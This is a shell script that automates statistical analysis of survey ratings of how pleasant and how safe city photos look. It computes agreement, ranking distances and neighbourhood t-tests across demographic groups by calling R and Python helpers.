mv teste1.txt allICAdulto.dat
mv teste2.txt allICJovem.dat
Rscript analisaICPorFoto.R allMedioOrdInter.dat allPosOrdInter.dat medio pos
mv teste1.txt allICMedio.dat
mv teste2.txt allICPos.dat
#Krippendorfs alpha for general data (falta revisar)
python preparaConsenso.py usersInfo.dat
Rscript krippMoran.R kripp consenseMatrixAgra.dat consenseMatrixSeg.dat > kripp.dat
#Kripp por grupo
python preparaConsenso.py usersInfo.dat adulto.dat
mv consenseMatrixAgra.dat consenseMatrixAgraAdulto.dat
mv consenseMatrixSeg.dat consenseMatrixSegAdulto.dat
echo "Adulto" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraAdulto.dat consenseMatrixSegAdulto.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat jovem.dat
mv consenseMatrixAgra.dat consenseMatrixAgraJovem.dat
mv consenseMatrixSeg.dat consenseMatrixSegJovem.dat
echo "Jovem" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraJovem.dat consenseMatrixSegJovem.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat jovem.dat adulto.dat
mv consenseMatrixAgra.dat consenseMatrixAgraJovemAdulto.dat
mv consenseMatrixSeg.dat consenseMatrixSegJovemAdulto.dat
echo "Jovem e Adulto" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraJovemAdulto.dat consenseMatrixSegJovemAdulto.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat casado.dat
mv consenseMatrixAgra.dat consenseMatrixAgraCasado.dat
mv consenseMatrixSeg.dat consenseMatrixSegCasado.dat
echo "Casado" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraCasado.dat consenseMatrixSegCasado.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat solteiro.dat
mv consenseMatrixAgra.dat consenseMatrixAgraSolteiro.dat
mv consenseMatrixSeg.dat consenseMatrixSegSolteiro.dat
echo "Solteiro" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraSolteiro.dat consenseMatrixSegSolteiro.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat casado.dat solteiro.dat
mv consenseMatrixAgra.dat consenseMatrixAgraCasadoSolteiro.dat
mv consenseMatrixSeg.dat consenseMatrixSegCasadoSolteiro.dat
echo "CAsado e Solteiro" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraCasadoSolteiro.dat consenseMatrixSegCasadoSolteiro.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat baixa.dat
mv consenseMatrixAgra.dat consenseMatrixAgraBaixa.dat
mv consenseMatrixSeg.dat consenseMatrixSegBaixa.dat
echo "Baixa" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraBaixa.dat consenseMatrixSegBaixa.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat media.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedia.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedia.dat
echo "Media" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedia.dat consenseMatrixSegMedia.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat baixa.dat media.dat
mv consenseMatrixAgra.dat consenseMatrixAgraBaixaMedia.dat
mv consenseMatrixSeg.dat consenseMatrixSegBaixaMedia.dat
echo "Baixa e Media" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraBaixaMedia.dat consenseMatrixSegBaixaMedia.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat feminino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraFeminino.dat
mv consenseMatrixSeg.dat consenseMatrixSegFeminino.dat
echo "Feminino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraFeminino.dat consenseMatrixSegFeminino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat masculino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMasculino.dat
mv consenseMatrixSeg.dat consenseMatrixSegMasculino.dat
echo "Masculino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMasculino.dat consenseMatrixSegMasculino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat feminino.dat masculino.dat
mv consenseMatrixAgra.dat consenseMatrixAgraFemininoMasculino.dat
mv consenseMatrixSeg.dat consenseMatrixSegFemininoMasculino.dat
echo "Feminino e Masculino" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraFemininoMasculino.dat consenseMatrixSegFemininoMasculino.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat medio.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedio.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedio.dat
echo "Medio" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedio.dat consenseMatrixSegMedio.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat posgrad.dat
mv consenseMatrixAgra.dat consenseMatrixAgraPos.dat
mv consenseMatrixSeg.dat consenseMatrixSegPos.dat
echo "Pos" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraPos.dat consenseMatrixSegPos.dat >> krippAll.dat
python preparaConsenso.py usersInfo.dat medio.dat posgrad.dat
mv consenseMatrixAgra.dat consenseMatrixAgraMedioPos.dat
mv consenseMatrixSeg.dat consenseMatrixSegMedioPos.dat
echo "Medio e Pos" >> krippAll.dat
Rscript krippMoran.R kripp consenseMatrixAgraMedioPos.dat consenseMatrixSegMedioPos.dat >> krippAll.dat
mkdir consense100
mv consenseMatrix*.dat krippAll.dat kripp.dat consense100
mv alta.dat baixa.dat adulto.dat jovem.dat solteiro.dat casado.dat feminino.dat masculino.dat catole.dat centro.dat liberdade.dat notcentro.dat notliberdade.dat notcatole.dat idsGrupos
#Kendall tau distance
rm -f kendall.dat kendalAll.dat
grep "agrad" all_ordenado.dat > agradGeralAll.dat #General ranking data
grep "seg" all_ordenado.dat > segGeralAll.dat
echo "All" >> kendall.dat
Rscript kendallDistance.R agradGeralAll.dat segGeralAll.dat >> kendallAll.dat
#Casados e Solteiros
echo " Cas x Solteiro Agrad" >> kendallAll.dat
grep "agrad" allCasadoOrdInter.dat > kendallAgradAllCasado.dat
grep "agrad" allSolteiroOrdInter.dat > kendallAgradAllSolteiro.dat
Rscript kendallDistance.R kendallAgradAllCasado.dat kendallAgradAllSolteiro.dat >> kendallAll.dat
echo " Cas x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllCasado.dat > temp.dat
rm -f ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralCasado.dat
Rscript kendallDistance.R kendallAgradAllCasado.dat kendallAgradAllGeralCasado.dat >> kendallAll.dat
echo " Sol x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllSolteiro.dat kendallAgradAllGeralCasado.dat >> kendallAll.dat
echo " Cas x Solteiro Seg" >> kendallAll.dat
grep "seg" allCasadoOrdInter.dat > kendallSegAllCasado.dat
grep "seg" allSolteiroOrdInter.dat > kendallSegAllSolteiro.dat
Rscript kendallDistance.R kendallSegAllCasado.dat kendallSegAllSolteiro.dat >> kendallAll.dat
echo " Cas x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllCasado.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralCasado.dat
Rscript kendallDistance.R kendallSegAllCasado.dat kendallSegAllGeralCasado.dat >> kendallAll.dat
echo " Sol x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllSolteiro.dat kendallSegAllGeralCasado.dat >> kendallAll.dat
#Baixa e Media
echo " Baixa x Media Agrad" >> kendallAll.dat
grep "agrad" allBaixaOrdInter.dat > kendallAgradAllBaixa.dat
grep "agrad" allMediaOrdInter.dat > kendallAgradAllMedia.dat
Rscript kendallDistance.R kendallAgradAllBaixa.dat kendallAgradAllMedia.dat >> kendallAll.dat
echo " Baixa x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllBaixa.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralBaixa.dat
Rscript kendallDistance.R kendallAgradAllBaixa.dat kendallAgradAllGeralBaixa.dat >> kendallAll.dat
echo " Media x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllMedia.dat kendallAgradAllGeralBaixa.dat >> kendallAll.dat
echo " Baixa x Media Agrad" >> kendallAll.dat
grep "seg" allBaixaOrdInter.dat > kendallSegAllBaixa.dat
grep "seg" allMediaOrdInter.dat > kendallSegAllMedia.dat
Rscript kendallDistance.R kendallSegAllBaixa.dat kendallSegAllMedia.dat >> kendallAll.dat
echo " Baixa x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllBaixa.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralBaixa.dat
Rscript kendallDistance.R kendallSegAllBaixa.dat kendallSegAllGeralBaixa.dat >> kendallAll.dat
echo " Media x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllMedia.dat kendallSegAllGeralBaixa.dat >> kendallAll.dat
#Fem e Masc
echo " Fem x Masc Agrad" >> kendallAll.dat
grep "agrad" allFemininoOrdInter.dat > kendallAgradAllFeminino.dat
grep "agrad" allMasculinoOrdInter.dat > kendallAgradAllMasculino.dat
Rscript kendallDistance.R kendallAgradAllFeminino.dat kendallAgradAllMasculino.dat >> kendallAll.dat
echo " Fem x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllFeminino.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralFeminino.dat
Rscript kendallDistance.R kendallAgradAllFeminino.dat kendallAgradAllGeralFeminino.dat >> kendallAll.dat
echo " Masc x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllMasculino.dat kendallAgradAllGeralFeminino.dat >> kendallAll.dat
#echo " Fem x Masc Seg" >> kendall.dat
echo " Fem x Masc Seg" >> kendallAll.dat
grep "seg" allFemininoOrdInter.dat > kendallSegAllFeminino.dat
grep "seg" allMasculinoOrdInter.dat > kendallSegAllMasculino.dat
Rscript kendallDistance.R kendallSegAllFeminino.dat kendallSegAllMasculino.dat >> kendallAll.dat
echo " Fem x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllFeminino.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralFeminino.dat
Rscript kendallDistance.R kendallSegAllFeminino.dat kendallSegAllGeralFeminino.dat >> kendallAll.dat
echo " Masc x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllMasculino.dat kendallSegAllGeralFeminino.dat >> kendallAll.dat
#Jovem e Adulto
echo " Jovem x Adulto Agrad" >> kendallAll.dat
grep "agrad" allJovemOrdInter.dat > kendallAgradAllJovem.dat
grep "agrad" allAdultoOrdInter.dat > kendallAgradAllAdulto.dat
Rscript kendallDistance.R kendallAgradAllJovem.dat kendallAgradAllAdulto.dat >> kendallAll.dat
echo " Jovem x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllJovem.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralJovem.dat
Rscript kendallDistance.R kendallAgradAllJovem.dat kendallAgradAllGeralJovem.dat >> kendallAll.dat
echo " Adulto x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllAdulto.dat kendallAgradAllGeralJovem.dat >> kendallAll.dat
echo " Jovem x Adulto Seg" >> kendallAll.dat
grep "seg" allJovemOrdInter.dat > kendallSegAllJovem.dat
grep "seg" allAdultoOrdInter.dat > kendallSegAllAdulto.dat
Rscript kendallDistance.R kendallSegAllJovem.dat kendallSegAllAdulto.dat >> kendallAll.dat
echo " Jovem x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllJovem.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralJovem.dat
Rscript kendallDistance.R kendallSegAllJovem.dat kendallSegAllGeralJovem.dat >> kendallAll.dat
echo " Adulto x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllAdulto.dat kendallSegAllGeralJovem.dat >> kendallAll.dat
#Menor e Maior Median
echo " Menor Med x Maior med Agrad" >> kendallAll.dat
grep "agrad" allMenorMedianOrdInter.dat > kendallAgradAllMenorMedian.dat
grep "agrad" allMaiorMedianOrdInter.dat > kendallAgradAllMaiorMedian.dat
Rscript kendallDistance.R kendallAgradAllMenorMedian.dat kendallAgradAllMaiorMedian.dat >> kendallAll.dat
echo " Menor med x Geral Agrad" >> kendallAll.dat
awk '{print $2}' kendallAgradAllMenorMedian.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo agradGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallAgradAllGeralMenorMedian.dat
Rscript kendallDistance.R kendallAgradAllMenorMedian.dat kendallAgradAllGeralMenorMedian.dat >> kendallAll.dat
echo " Maior Median x Geral Agrad" >> kendallAll.dat
Rscript kendallDistance.R kendallAgradAllMaiorMedian.dat kendallAgradAllGeralMenorMedian.dat >> kendallAll.dat
echo " Menor Median x Maior median Seg" >> kendallAll.dat
grep "seg" allMenorMedianOrdInter.dat > kendallSegAllMenorMedian.dat
grep "seg" allMaiorMedianOrdInter.dat > kendallSegAllMaiorMedian.dat
Rscript kendallDistance.R kendallSegAllMenorMedian.dat kendallSegAllMaiorMedian.dat >> kendallAll.dat
echo " Menor med x Geral Seg" >> kendallAll.dat
awk '{print $2}' kendallSegAllMenorMedian.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeralAll.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > kendallSegAllGeralMenorMedian.dat
Rscript kendallDistance.R kendallSegAllMenorMedian.dat kendallSegAllGeralMenorMedian.dat >> kendallAll.dat
echo " Maior Median x Geral Seg" >> kendallAll.dat
Rscript kendallDistance.R kendallSegAllMaiorMedian.dat kendallSegAllGeralMenorMedian.dat >> kendallAll.dat
#Centro e Not Centro
echo " Centro x Not Centro Agrad" >> kendallAll.dat
grep "agrad" allCentroOrdInter.dat > kendallAgradAllCentro.dat
grep "agrad" allNotCentroOrdInter.dat > kendallAgradAllNotCentro.dat
Rscript kendallDistance.R kendallAgradAllCentro.dat kendallAgradAllNotCentro.dat >> kendallAll.dat
echo " Centro x Not Centro Seg" >> kendallAll.dat
grep "seg" allCentroOrdInter.dat > kendallSegAllCentro.dat
grep "seg" allNotCentroOrdInter.dat > kendallSegAllNotCentro.dat
Rscript kendallDistance.R kendallSegAllCentro.dat kendallSegAllNotCentro.dat >> kendallAll.dat
#Catole e Not Catole
echo " Catole x Not Catole Agrad" >> kendallAll.dat
grep "agrad" allCatoleOrdInter.dat > kendallAgradAllCatole.dat
grep "agrad" allNotCatoleOrdInter.dat > kendallAgradAllNotCatole.dat
Rscript kendallDistance.R kendallAgradAllCatole.dat kendallAgradAllNotCatole.dat >> kendallAll.dat
echo " Catole x Not Catole Seg" >> kendallAll.dat
grep "seg" allCatoleOrdInter.dat > kendallSegAllCatole.dat
grep "seg" allNotCatoleOrdInter.dat > kendallSegAllNotCatole.dat
Rscript kendallDistance.R kendallSegAllCatole.dat kendallSegAllNotCatole.dat >> kendallAll.dat
#Liberdade e Not Liberdade
echo " Liberdade x Not Liberdade Agra" >> kendallAll.dat
grep "agrad" allLiberdadeOrdInter.dat > kendallAgraAllLiberdade.dat
grep "agrad" allNotLiberdadeOrdInter.dat > kendallAgraAllNotLiberdade.dat
Rscript kendallDistance.R kendallAgraAllLiberdade.dat kendallAgraAllNotLiberdade.dat >> kendallAll.dat
echo " Liberdade x Not Liberdade Seg" >> kendallAll.dat
grep "seg" allLiberdadeOrdInter.dat > kendallSegAllLiberdade.dat
grep "seg" allNotLiberdadeOrdInter.dat > kendallSegAllNotLiberdade.dat
Rscript kendallDistance.R kendallSegAllLiberdade.dat kendallSegAllNotLiberdade.dat >> kendallAll.dat
rm -f ranking1.dat ranking2.dat ranking3.dat ranking3Ord.dat temp.dat
mkdir kendal100
mv agradGeral.dat segGeral.dat agradGeralAll.dat segGeralAll.dat agradGeralAll.dat segGeralAll.dat kendall*.dat kendall100/
#Analisa QScore por Bairro
rm -f bairro.dat bairroAll.dat
#Todos os votos
echo ">>>>>>>> Geral" >> bairroAll.dat
python analisaQScorePorBairro.py all_ordenado.dat > temp.dat
echo "### All Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### All Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAll.dat centroAgradAll.dat "Catole Agra Ger" "Centro Agra Ger" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradAll.dat centroAgradAll.dat "Liberdade Agra Ger" "Centro Agra Ger" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAll.dat liberdadeAgradAll.dat "Catole Agra Ger" "Liberdade Agra Ger" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegAll.dat
grep "centro" temp.dat | grep "seg" > centroSegAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAll.dat centroSegAll.dat "Catole Seg Ger" "Centro Seg Ger" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegAll.dat centroSegAll.dat "Liberdade Seg Ger" "Centro Seg Ger" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAll.dat liberdadeSegAll.dat "Catole Seg Ger" "Liberdade Seg Ger" "red" >> bairroAll.dat
#Por grupo
echo ">>>>>>>> Jovem" >> bairroAll.dat
python analisaQScorePorBairro.py allJovemOrdInter.dat > temp.dat
echo "### Jovem Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Jovem Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradJovemAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradJovemAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradJovemAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradJovemAll.dat centroAgradJovemAll.dat "Catole Agra Jov" "Centro Agra Jov" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradJovemAll.dat centroAgradJovemAll.dat "Liberdade Agra Jov" "Centro Agra Jov" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradJovemAll.dat liberdadeAgradJovemAll.dat "Catole Agra Jov" "Liberdade Agra Jov" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegJovemAll.dat
grep "centro" temp.dat | grep "seg" > centroSegJovemAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegJovemAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegJovemAll.dat centroSegJovemAll.dat "Catole Seg Jov" "Centro Seg Jov" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegJovemAll.dat centroSegJovemAll.dat "Liberdade Seg Jov" "Centro Seg Jov" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegJovemAll.dat liberdadeSegJovemAll.dat "Catole Seg Jov" "Liberdade Seg Jov" "red" >> bairroAll.dat
echo ">>>>>>> Adulto" >> bairroAll.dat
python analisaQScorePorBairro.py allAdultoOrdInter.dat > temp.dat
echo "### Adulto Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Adulto Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradAdultoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradAdultoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradAdultoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAdultoAll.dat centroAgradAdultoAll.dat "Catole Agra Adu" "Centro Agra Adu" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradAdultoAll.dat centroAgradAdultoAll.dat "Liberdade Agra Adu" "Centro Agra Adu" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAdultoAll.dat liberdadeAgradAdultoAll.dat "Catole Agra Adu" "Liberdade Agra Adu" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegAdultoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegAdultoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegAdultoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAdultoAll.dat centroSegAdultoAll.dat "Catole Seg Adu" "Centro Seg Adu" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegAdultoAll.dat centroSegAdultoAll.dat "Liberdade Seg" "Centro Seg Adu" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAdultoAll.dat liberdadeSegAdultoAll.dat "Catole Seg Adu" "Liberdade Seg Adu" "red" >> bairroAll.dat
echo ">>>>>>>>>> Baixa" >> bairroAll.dat
python analisaQScorePorBairro.py allBaixaOrdInter.dat > temp.dat
echo "### Baixa Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Baixa Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradBaixaAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradBaixaAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradBaixaAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradBaixaAll.dat centroAgradBaixaAll.dat "Catole Agra Bai" "Centro Agra Bai" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradBaixaAll.dat centroAgradBaixaAll.dat "Liberdade Agra Bai" "Centro Agra Bai" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradBaixaAll.dat liberdadeAgradBaixaAll.dat "Catole Agra Bai" "Liberdade Agra Bai" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegBaixaAll.dat
grep "centro" temp.dat | grep "seg" > centroSegBaixaAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegBaixaAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegBaixaAll.dat centroSegBaixaAll.dat "Catole Seg Bai" "Centro Seg Bai" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegBaixaAll.dat centroSegBaixaAll.dat "Liberdade Seg Bai" "Centro Seg Bai" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegBaixaAll.dat liberdadeSegBaixaAll.dat "Catole Seg Bai" "Liberdade Seg Bai" "red" >> bairroAll.dat
echo ">>>>>>>>>> Media" >> bairroAll.dat
python analisaQScorePorBairro.py allMediaOrdInter.dat > temp.dat
echo "### Media Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Media Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMediaAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMediaAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMediaAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMediaAll.dat centroAgradMediaAll.dat "Catole Agra Med" "Centro Agra Med" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradMediaAll.dat centroAgradMediaAll.dat "Liberdade Agra Med" "Centro Agra Med" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMediaAll.dat liberdadeAgradMediaAll.dat "Catole Agra Med" "Liberdade Agra Med" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMediaAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMediaAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMediaAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMediaAll.dat centroSegMediaAll.dat "Catole Seg Med" "Centro Seg Med" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMediaAll.dat centroSegMediaAll.dat "Liberdade Seg Med" "Centro Seg Med" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMediaAll.dat liberdadeSegMediaAll.dat "Catole Seg Med" "Liberdade Seg Med" "red" >> bairroAll.dat
echo ">>>>>>>>>> Fem" >> bairroAll.dat
python analisaQScorePorBairro.py allFemininoOrdInter.dat > temp.dat
echo "### Fem Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Fem Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradFemininoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradFemininoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradFemininoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradFemininoAll.dat centroAgradFemininoAll.dat "Catole Agra Fem" "Centro Agra Fem" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradFemininoAll.dat centroAgradFemininoAll.dat "Liberdade Agra Fem" "Centro Agra Fem" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradFemininoAll.dat liberdadeAgradFemininoAll.dat "Catole Agra Fem" "Liberdade Agra Fem" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegFemininoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegFemininoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegFemininoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegFemininoAll.dat centroSegFemininoAll.dat "Catole Seg Fem" "Centro Seg Fem" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegFemininoAll.dat centroSegFemininoAll.dat "Liberdade Seg Fem" "Centro Seg Fem" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegFemininoAll.dat liberdadeSegFemininoAll.dat "Catole Seg Fem" "Liberdade Seg Fem" "red" >> bairroAll.dat
echo ">>>>>>>>> Masc" >> bairroAll.dat
python analisaQScorePorBairro.py allMasculinoOrdInter.dat > temp.dat
echo "### Masc Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Masc Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMasculinoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMasculinoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMasculinoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMasculinoAll.dat centroAgradMasculinoAll.dat "Catole Agra Mas" "Centro Agra Mas" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
